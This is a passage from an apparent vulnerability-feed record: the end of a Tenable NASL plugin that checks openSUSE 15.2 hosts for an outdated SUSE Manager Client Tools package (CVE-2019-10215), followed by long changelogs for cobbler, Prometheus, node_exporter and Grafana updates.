+ Singlestat: Add y min/max config to singlestat\n sparklines. #17527 4, @pitr\n\n + Snapshot: use given key and deleteKey. #16876,\n @zhulongcheng\n\n + Templating: Correctly display __text in multi-value\n variable after page reload. #17840 1, @EduardSergeev\n\n + Templating: Support selecting all filtered values of a\n multi-value variable. #16873 2, @r66ad\n\n + Tracing: allow propagation with Zipkin headers. #17009\n 4, @jrockway\n\n + Users: Disable users removed from LDAP. #16820 2,\n @alexanderzobnin\n\n - Bug Fixes\n\n + PanelLinks: Fix render issue when there is no panel\n description. #18408 3, @dehrax\n\n + OAuth: Fix “missing saved state” OAuth login\n failure due to SameSite cookie policy. #18332 1,\n @papagian 3\n\n + cli: fix for recognizing when in dev mode…\n #18334, @xlson\n\n + DataLinks: Fixes incorrect interpolation of\n $(__series_name) . #18251 1, @torkelo 2\n\n + Loki: Display live tailed logs in correct order in\n Explore. #18031 3, @kaydelaney 2\n\n + PhantomJS: Fixes rendering on Debian Buster. #18162 2,\n @xlson\n\n + TimePicker: Fixed style issue for custom range popover.\n #18244, @torkelo 2\n\n + Timerange: Fixes a bug where custom time ranges\n didn’t respect UTC. #18248 1, @kaydelaney 2\n\n + remote_cache: Fix redis connstr parsing. #18204 1,\n @mblaschke\n\n + AddPanel: Fix issue when removing moved add panel widget\n . #17659 2, @dehrax\n\n + CLI: Fix encrypt-datasource-passwords fails with sql\n error. #18014, @marefr\n\n + Elasticsearch: Fix default max concurrent shard\n requests. #17770 4, @marefr\n\n + Explore: Fix browsing back to dashboard panel. #17061,\n @jschill\n\n + Explore: Fix filter by series level in logs graph.\n #17798, @marefr\n\n + Explore: Fix issues when loading and both graph/table\n are collapsed. #17113, @marefr\n\n + Explore: Fix selection/copy of log lines. #17121,\n @marefr\n\n + Fix: Wrap value of multi variable in array when coming\n from URL. #16992 1, @aocenas\n\n + Frontend: Fix for Json tree component not working.\n #17608, @srid12\n\n + Graphite: Fix for issue with alias function being moved\n last. #17791, @torkelo 2\n\n + Graphite: Fixes issue with seriesByTag & function with\n variable param. #17795, @torkelo 2\n\n + Graphite: use POST for /metrics/find requests. #17814 2,\n @papagian 3\n\n + HTTP Server: Serve Grafana with a custom URL path\n prefix. #17048 6, @jan25\n\n + InfluxDB: Fixes single quotes are not escaped in label\n value filters. #17398 1, @Panzki\n\n + Prometheus: Correctly escape ‘|’ literals in\n interpolated PromQL variables. #16932, @Limess\n\n + Prometheus: Fix when adding label for metrics which\n contains colons in Explore. #16760, @tolwi\n\n + SinglestatPanel: Remove background color when value\n turns null. #17552 1, @druggieri\n\n - Make phantomjs dependency configurable\n\n - Create plugin directory and clean up (create in\n %install, add to %files) handling of /var/lib/grafana/*\n and\n\nkoan :\n\n - Calculate relative path for kernel and inited when\n generating grub entry (bsc#1170231)\n\n - Fix os-release version detection for SUSE\n\nmgr-cfg :\n\n - Remove commented code in test files\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Add mgr manpage links\n\nmgr-custom-info :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nmgr-daemon :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix systemd timer configuration on SLE12 (bsc#1142038)\n\nmgr-osad :\n\n - Separate osa-dispatcher and jabberd so it can be\n disabled independently\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Move /usr/share/rhn/config-defaults to uyuni-base-common\n\n - Require uyuni-base-common for /etc/rhn (for\n osa-dispatcher)\n\n - Ensure bytes type when using hashlib to avoid traceback\n (bsc#1138822)\n\nmgr-push :\n\n - Replace spacewalk-usix and spacewalk-backend-libs with\n uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nmgr-virtualization :\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix mgr-virtualization timer\n\nrhnlib :\n\n - Fix building\n\n - Fix malformed XML response when data contains non-ASCII\n chars (bsc#1154968)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix bootstrapping SLE11SP4 trad client with SSL enabled\n (bsc#1148177)\n\nspacecmd :\n\n - Only report real error, not result (bsc#1171687)\n\n - Use defined return values for spacecmd methods so\n scripts can check for failure (bsc#1171687)\n\n - Disable globbing for api subcommand to allow wildcards\n in filter settings (bsc#1163871)\n\n - Bugfix: attempt to purge SSM when it is empty\n (bsc#1155372)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Prevent error when piping stdout in Python 2\n (bsc#1153090)\n\n - Java api expects content as encoded string instead of\n encoded bytes like before (bsc#1153277)\n\n - Enable building and installing for Ubuntu 16.04 and\n Ubuntu 18.04\n\n - Add unit test for schedule, errata, user, utils, misc,\n configchannel and kickstart modules\n\n - Multiple minor bugfixes alongside the unit tests\n\n - Bugfix: referenced variable before assignment.\n\n - Add unit test for report, package, org, repo and group\n\nspacewalk-client-tools :\n\n - Add workaround for uptime overflow to\n spacewalk-update-status as well (bsc#1165921)\n\n - Spell correctly 'successful' and 'successfully'\n\n - Skip dmidecode data on aarch64 to prevent coredump\n (bsc#1113160)\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Return a non-zero exit status on errors in rhn_check\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Make a explicit requirement to systemd for\n spacewalk-client-tools when rhnsd timer is installed\n\nspacewalk-koan :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Require commands we use in merge-rd.sh\n\nspacewalk-oscap :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nspacewalk-remote-utils :\n\n - Update spacewalk-create-channel with RHEL 7.7 channel\n definitions\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nsupportutils-plugin-susemanager-client :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nsuseRegisterInfo :\n\n - SuseRegisterInfo only needs perl-base, not full perl\n (bsc#1168310)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nzypp-plugin-spacewalk :\n\n - 1.0.7\n\n - Prevent issue with non-ASCII characters in Python 2\n systems (bsc#1172462)\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10215\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1113160\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1138822\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1142038\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1148177\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1153090\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1153277\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1154940\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1154968\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1155372\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1163871\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1165921\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1168310\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1170231\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1170557\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1170824\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1171687\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1172462\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected SUSE Manager Client Tools package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:dracut-saltboot\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/09/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/07/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/28\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.2\", reference:\"dracut-saltboot-0.1.1590413773.a959db7-lp152.2.3.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"dracut-saltboot\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2021-01-14T06:29:12", "description": "This update fixes the following issues :\n\ncobbler :\n\nCalculate relative path for kernel and inited when generating grub\nentry (bsc#1170231) Added: fix-grub2-entry-paths.diff\n\nFix os-release version detection for SUSE Modified: sles15.patch\n\nJinja2 template library fix (bsc#1141661)\n\nRemoves string replace for textmode fix (bsc#1134195)\n\ngolang-github-prometheus-node_exporter :\n\nUpdate to 0.18.1\n\n - [BUGFIX] Fix incorrect sysctl call in BSD meminfo\n collector, resulting in broken swap metrics on FreeBSD\n #1345\n\n - [BUGFIX] Fix rollover bug in mountstats collector #1364\n\n - Renamed interface label to device in netclass collector\n for consistency with\n\n - other network metrics #1224\n\n - The cpufreq metrics now separate the cpufreq and scaling\n data based on what the driver provides. #1248\n\n - The labels for the network_up metric have changed, see\n issue #1236\n\n - Bonding collector now uses mii_status instead of\n operstatus #1124\n\n - Several systemd metrics have been turned off by default\n to improve performance #1254\n\n - These include unit_tasks_current, unit_tasks_max,\n service_restart_total, and unit_start_time_seconds\n\n - The systemd collector blacklist now includes automount,\n device, mount, and slice units by default. #1255\n\n - [CHANGE] Bonding state uses mii_status #1124\n\n - [CHANGE] Add a limit to the number of in-flight requests\n #1166\n\n - [CHANGE] Renamed interface label to device in netclass\n collector #1224\n\n - [CHANGE] Add separate cpufreq and scaling metrics #1248\n\n - [CHANGE] Several systemd metrics have been turned off by\n default to improve performance #1254\n\n - [CHANGE] Expand systemd collector blacklist #1255\n\n - [CHANGE] Split cpufreq metrics into a separate collector\n #1253\n\n - [FEATURE] Add a flag to disable exporter metrics #1148\n\n - [FEATURE] Add kstat-based Solaris metrics for boottime,\n cpu and zfs collectors #1197\n\n - [FEATURE] Add uname collector for FreeBSD #1239\n\n - [FEATURE] Add diskstats collector for OpenBSD #1250\n\n - [FEATURE] Add pressure collector exposing pressure stall\n information for Linux #1174\n\n - [FEATURE] Add perf exporter for Linux #1274\n\n - [ENHANCEMENT] Add Infiniband counters #1120\n\n - [ENHANCEMENT] Add TCPSynRetrans to netstat default\n filter #1143\n\n - [ENHANCEMENT] Move network_up labels into new metric\n network_info #1236\n\n - [ENHANCEMENT] Use 64-bit counters for Darwin netstat\n\n - [BUGFIX] Add fallback for missing /proc/1/mounts #1172\n\n - [BUGFIX] Fix node_textfile_mtime_seconds to work\n properly on symlinks #1326\n\nAdd network-online (Wants and After) dependency to systemd unit\nbsc#1143913\n\ngolang-github-prometheus-prometheus :\n\nUpdate change log and spec file\n\n + Modified spec file: default to golang 1.14 to avoid\n 'have choice' build issues in OBS.\n\n + Rebase and update patches for version 2.18.0\n\n + Changed :\n\n - 0002-Default-settings.patch Changed\n\nUpdate to 2.18.0\n\n + Features\n\n - Tracing: Added experimental Jaeger support #7148\n\n + Changes\n\n - Federation: Only use local TSDB for federation (ignore\n remote read). #7096\n\n - Rules: `rule_evaluations_total` and\n `rule_evaluation_failures_total` have a `rule_group`\n label now. #7094\n\n + Enhancements\n\n - TSDB: Significantly reduce WAL size kept around after a\n block cut. #7098\n\n - Discovery: Add `architecture` meta label for EC2. #7000\n\n + Bug fixes\n\n - UI: Fixed wrong MinTime reported by /status. #7182\n\n - React UI: Fixed multiselect legend on OSX. #6880\n\n - Remote Write: Fixed blocked resharding edge case. #7122\n\n - Remote Write: Fixed remote write not updating on relabel\n configs change. #7073\n\nChanges from 2.17.2\n\n + Bug fixes\n\n - Federation: Register federation metrics #7081\n\n - PromQL: Fix panic in parser error handling #7132\n\n - Rules: Fix reloads hanging when deleting a rule group\n that is being evaluated #7138\n\n - TSDB: Fix a memory leak when prometheus starts with an\n empty TSDB WAL #7135\n\n - TSDB: Make isolation more robust to panics in web\n handlers #7129 #7136\n\nChanges from 2.17.1\n\n + Bug fixes\n\n - TSDB: Fix query performance regression that increased\n memory and CPU usage #7051\n\nChanges from 2.17.0\n\n + Features\n\n - TSDB: Support isolation #6841\n\n - This release implements isolation in TSDB. API queries\n and recording rules are guaranteed to only see full\n scrapes and full recording rules. This comes with a\n certain overhead in resource usage. Depending on the\n situation, there might be some increase in memory usage,\n CPU usage, or query latency.\n\n + Enhancements\n\n - PromQL: Allow more keywords as metric names #6933\n\n - React UI: Add normalization of localhost URLs in targets\n page #6794\n\n - Remote read: Read from remote storage concurrently #6770\n\n - Rules: Mark deleted rule series as stale after a reload\n #6745\n\n - Scrape: Log scrape append failures as debug rather than\n warn #6852\n\n - TSDB: Improve query performance for queries that\n partially hit the head #6676\n\n - Consul SD: Expose service health as meta label #5313\n\n - EC2 SD: Expose EC2 instance lifecycle as meta label\n #6914\n\n - Kubernetes SD: Expose service type as meta label for K8s\n service role #6684\n\n - Kubernetes SD: Expose label_selector and field_selector\n #6807\n\n - Openstack SD: Expose hypervisor id as meta label #6962\n\n + Bug fixes\n\n - PromQL: Do not escape HTML-like chars in query log #6834\n #6795\n\n - React UI: Fix data table matrix values #6896\n\n - React UI: Fix new targets page not loading when using\n non-ASCII characters #6892\n\n - Remote read: Fix duplication of metrics read from remote\n storage with external labels #6967 #7018\n\n - Remote write: Register WAL watcher and live reader\n metrics for all remotes, not just the first one #6998\n\n - Scrape: Prevent removal of metric names upon relabeling\n #6891\n\n - Scrape: Fix 'superfluous response.WriteHeader call'\n errors when scrape fails under some circonstances #6986\n\n - Scrape: Fix crash when reloads are separated by two\n scrape intervals #7011\n\nChanges from 2.16.0\n\n + Features\n\n - React UI: Support local timezone on /graph #6692\n\n - PromQL: add absent_over_time query function #6490\n\n - Adding optional logging of queries to their own file\n #6520\n\n + Enhancements\n\n - React UI: Add support for rules page and 'Xs ago'\n duration displays #6503\n\n - React UI: alerts page, replace filtering togglers tabs\n with checkboxes #6543\n\n - TSDB: Export metric for WAL write errors #6647\n\n - TSDB: Improve query performance for queries that only\n touch the most recent 2h of data. #6651\n\n - PromQL: Refactoring in parser errors to improve error\n messages #6634\n\n - PromQL: Support trailing commas in grouping opts #6480\n\n - Scrape: Reduce memory usage on reloads by reusing scrape\n cache #6670\n\n - Scrape: Add metrics to track bytes and entries in the\n metadata cache #6675\n\n - promtool: Add support for line-column numbers for\n invalid rules output #6533\n\n - Avoid restarting rule groups when it is unnecessary\n #6450\n\n + Bug fixes\n\n - React UI: Send cookies on fetch() on older browsers\n #6553\n\n - React UI: adopt grafana flot fix for stacked graphs\n #6603\n\n - React UI: broken graph page browser history so that back\n button works as expected #6659\n\n - TSDB: ensure compactionsSkipped metric is registered,\n and log proper error if one is returned from head.Init\n #6616\n\n - TSDB: return an error on ingesting series with duplicate\n labels #6664\n\n - PromQL: Fix unary operator precedence #6579\n\n - PromQL: Respect query.timeout even when we reach\n query.max-concurrency #6712\n\n - PromQL: Fix string and parentheses handling in engine,\n which affected React UI #6612\n\n - PromQL: Remove output labels returned by absent() if\n they are produced by multiple identical label matchers\n #6493\n\n - Scrape: Validate that OpenMetrics input ends with `#\n EOF` #6505\n\n - Remote read: return the correct error if configs can't\n be marshal'd to JSON #6622\n\n - Remote write: Make remote client `Store` use passed\n context, which can affect shutdown timing #6673\n\n - Remote write: Improve sharding calculation in cases\n where we would always be consistently behind by tracking\n pendingSamples #6511\n\n - Ensure prometheus_rule_group metrics are deleted when a\n rule group is removed #6693\n\nChanges from 2.15.2\n\n + Bug fixes\n\n - TSDB: Fixed support for TSDB blocks built with\n Prometheus before 2.1.0. #6564\n\n - TSDB: Fixed block compaction issues on Windows. #6547\n\nChanges from 2.15.1\n\n + Bug fixes\n\n - TSDB: Fixed race on concurrent queries against same\n data. #6512\n\nChanges from 2.15.0\n\n + Features\n\n - API: Added new endpoint for exposing per metric metadata\n `/metadata`. #6420 #6442\n\n + Changes\n\n - Discovery: Removed `prometheus_sd_kubernetes_cache_*`\n metrics. Additionally\n `prometheus_sd_kubernetes_workqueue_latency_seconds` and\n `prometheus_sd_kubernetes_workqueue_work_duration_second\n s` metrics now show correct values in seconds. #6393\n\n - Remote write: Changed `query` label on\n `prometheus_remote_storage_*` metrics to `remote_name`\n and `url`. #6043\n\n + Enhancements\n\n - TSDB: Significantly reduced memory footprint of loaded\n TSDB blocks. #6418 #6461\n\n - TSDB: Significantly optimized what we buffer during\n compaction which should result in lower memory footprint\n during compaction. #6422 #6452 #6468 #6475\n\n - TSDB: Improve replay latency. #6230\n\n - TSDB: WAL size is now used for size based retention\n calculation. #5886\n\n - Remote read: Added query grouping and range hints to the\n remote read request #6401\n\n - Remote write: Added\n `prometheus_remote_storage_sent_bytes_total` counter per\n queue. #6344\n\n - promql: Improved PromQL parser performance. #6356\n\n - React UI: Implemented missing pages like `/targets`\n #6276, TSDB status page #6281 #6267 and many other fixes\n and performance improvements.\n\n - promql: Prometheus now accepts spaces between time range\n and square bracket. e.g `[ 5m]` #6065\n\n + Bug fixes\n\n - Config: Fixed alertmanager configuration to not miss\n targets when configurations are similar. #6455\n\n - Remote write: Value of\n `prometheus_remote_storage_shards_desired` gauge shows\n raw value of desired shards and it's updated correctly.\n #6378\n\n - Rules: Prometheus now fails the evaluation of rules and\n alerts where metric results collide with labels\n specified in `labels` field. #6469\n\n - API: Targets Metadata API `/targets/metadata` now\n accepts empty `match_targets` parameter as in the spec.\n #6303\n\nChanges from 2.14.0\n\n + Features\n\n - API: `/api/v1/status/runtimeinfo` and\n `/api/v1/status/buildinfo` endpoints added for use by\n the React UI. #6243\n\n - React UI: implement the new experimental React based UI.\n #5694 and many more\n\n - Can be found by under `/new`.\n\n - Not all pages are implemented yet.\n\n - Status: Cardinality statistics added to the Runtime &\n Build Information page. #6125\n\n + Enhancements\n\n - Remote write: fix delays in remote write after a\n compaction. #6021\n\n - UI: Alerts can be filtered by state. #5758\n\n + Bug fixes\n\n - Ensure warnings from the API are escaped. #6279\n\n - API: lifecycle endpoints return 403 when not enabled.\n #6057\n\n - Build: Fix Solaris build. #6149\n\n - Promtool: Remove false duplicate rule warnings when\n checking rule files with alerts. #6270\n\n - Remote write: restore use of deduplicating logger in\n remote write. #6113\n\n - Remote write: do not reshard when unable to send\n samples. #6111\n\n - Service discovery: errors are no longer logged on\n context cancellation. #6116, #6133\n\n - UI: handle null response from API properly. #6071\n\nChanges from 2.13.1\n\n + Bug fixes\n\n - Fix panic in ARM builds of Prometheus. #6110\n\n - promql: fix potential panic in the query logger. #6094\n\n - Multiple errors of http: superfluous\n response.WriteHeader call in the logs. #6145\n\nChanges from 2.13.0\n\n + Enhancements\n\n - Metrics: renamed prometheus_sd_configs_failed_total to\n prometheus_sd_failed_configs and changed to Gauge #5254\n\n - Include the tsdb tool in builds. #6089\n\n - Service discovery: add new node address types for\n kubernetes. #5902\n\n - UI: show warnings if query have returned some warnings.\n #5964\n\n - Remote write: reduce memory usage of the series cache.\n #5849\n\n - Remote read: use remote read streaming to reduce memory\n usage. #5703\n\n - Metrics: added metrics for remote write max/min/desired\n shards to queue manager. #5787\n\n - Promtool: show the warnings during label query. #5924\n\n - Promtool: improve error messages when parsing bad rules.\n #5965\n\n - Promtool: more promlint rules. #5515\n\n + Bug fixes\n\n - UI: Fix a Stored DOM XSS vulnerability with query\n history\n\n[CVE-2019-10215](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-201\n9-102 15). #6098\n\n - Promtool: fix recording inconsistency due to duplicate\n labels. #6026\n\n - UI: fixes service-discovery view when accessed from\n unhealthy targets. #5915\n\n - Metrics format: OpenMetrics parser crashes on short\n input. #5939\n\n - UI: avoid truncated Y-axis values. #6014\n\nChanges from 2.12.0\n\n + Features\n\n - Track currently active PromQL queries in a log file.\n #5794\n\n - Enable and provide binaries for `mips64` / `mips64le`\n architectures. #5792\n\n + Enhancements\n\n - Improve responsiveness of targets web UI and API\n endpoint. #5740\n\n - Improve remote write desired shards calculation. #5763\n\n - Flush TSDB pages more precisely. tsdb#660\n\n - Add `prometheus_tsdb_retention_limit_bytes` metric.\n tsdb#667\n\n - Add logging during TSDB WAL replay on startup. tsdb#662\n\n - Improve TSDB memory usage. tsdb#653, tsdb#643, tsdb#654,\n tsdb#642, tsdb#627\n\n + Bug fixes\n\n - Check for duplicate label names in remote read. #5829\n\n - Mark deleted rules' series as stale on next evaluation.\n #5759\n\n - Fix JavaScript error when showing warning about\n out-of-sync server time. #5833\n\n - Fix `promtool test rules` panic when providing empty\n `exp_labels`. #5774\n\n - Only check last directory when discovering checkpoint\n number. #5756\n\n - Fix error propagation in WAL watcher helper functions.\n #5741\n\n - Correctly handle empty labels from alert templates.\n #5845\n\nUpdate Uyuni/SUSE Manager service discovery patch\n\n + Modified 0003-Add-Uyuni-service-discovery.patch :\n\n + Adapt service discovery to the new Uyuni API endpoints\n\n + Modified spec file: force golang 1.12 to fix build\n issues in SLE15SP2\n\nUpdate to Prometheus 2.11.2\n\ngrafana :\n\nUpdate to version 7.0.3\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\nUpdate to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\nUpdate to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\nUpdate to version 7.0.0\n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed\n\nbut will be in a future release. We hope to address the underlying\n\nrequirement of dynamic dashboards in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with\n\nusage of grafana/grafana-plugin-model is now deprecated and support\nfor\n\nthat will be removed in a future release. Please refer to backend\nplugins\n\ndocumentation for information about the new officially supported\nbackend\n\nplugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a 